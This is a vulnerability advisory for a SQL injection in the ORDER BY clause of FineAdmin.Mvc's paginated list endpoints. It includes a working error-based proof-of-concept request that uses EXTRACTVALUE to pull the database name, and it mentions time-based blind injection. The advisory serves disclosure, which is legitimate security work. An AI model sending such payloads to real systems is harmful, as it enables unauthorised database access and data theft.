📄 FineAdmin.Mvc SQL Injection

CVE-2026-67689: FineAdmin.Mvc ORDER BY Clause SQL Injection
    CVE ID
    CVE-2026-67689
    
    Description
    FineAdmin.Mvc is vulnerable to SQL injection via the field and order parameters in paginated list endpoints. The BaseService.GetListByFilter() and GetPageUnite() methods directly concatenate pageInfo.field and pageInfo.order into the ORDER BY clause via string.Format() with no whitelist validation or sanitization.
    
    In MySQL, ORDER BY supports expressions, subqueries, and function calls, enabling EXTRACTVALUE()/UPDATEXML() error-based injection and SLEEP() time-based blind injection.
    
    Proof of Concept (PoC)
    Error-based injection — extract database name:
    
    GET /Permissions/User/List?page=1&limit=10&field=EXTRACTVALUE(1%2CCONCAT(0x7e%2CDATABASE()%2C0x7e))&order=desc HTTP/1.1
    Cookie: Loginkey=<SESSION>
    Expected response:
    
    {"state":"error","message":"XPATH syntax error: '~fineadmin~'"}
    
    
    Impact
    Broader attack surface — 5+ endpoints affected
    ORDER BY injection in MySQL offers more exploitation vectors than string-based injection
    Credit
    Discoverer: zyh